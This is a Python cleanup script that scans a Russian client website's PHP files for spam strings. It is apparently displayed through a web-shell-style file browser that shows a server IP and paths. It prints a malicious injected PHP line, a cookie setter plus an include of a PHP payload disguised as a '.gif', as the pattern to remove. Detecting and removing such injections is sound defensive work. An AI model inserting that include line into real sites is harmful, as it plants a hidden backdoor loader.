Your IP : 172.28.240.42


Current Path : /var/www/html/clients/e-nkama.ru/
Upload File :
Current File : /var/www/html/clients/e-nkama.ru/all_php_files.py

from __future__ import print_function
import fnmatch
import os
import re
import json


count = 0


def to_json(out):
    with open('php_file.json', 'w') as f:
        json.dump(out, f, indent=4, ensure_ascii=False)


def custom_log(filename, report):
    with open('php_file.log', 'a') as f:
        f.write(filename + '\n')
        for rep in report:
            f.write('\t' + str(rep) + '\n')


def find_script(filename):
    #pattern = r'<script(.*)</script>'
    pattern = r"porno"
    with open(filename, 'r') as f:
        text = f.read()
    return pattern in text
    #return re.findall(pattern, text, re.DOTALL)


def delete_script(filename):
    pattern = r"<?php setcookie('__utmr_cache','cut_',mktime(0,0,0,1,1,2020));?><?include('/var/www/html/clients/e-nkama.ru/e-nkama_bitrix/bitrix/images/iblock/ib.gif');?>"
    with open(filename, 'r') as f:
        text = f.read()
    with open(filename, 'w') as f:
        f.write(text.replace(pattern, ''))


def main():
    global count
    path = '/var/www/html/clients/wodo.e-nk.ru/'
    file_out = {}
    #path = '/var/www/html/clients/e-nkama.ru/e-nkama_bitrix/upload/tmpv/ta/citizens_tat/'
    for root, dirnames, filenames in os.walk(path):
        for filename in fnmatch.filter(filenames, '*.php'):
            count += 1
            print(count, end='\r')
            curr_path = os.path.join(root, filename)
            out = find_script(curr_path)
            if out:
                #delete_script(curr_path)
                file_out[curr_path] = out
    to_json(file_out)
    print()


if __name__ == '__main__':
    main()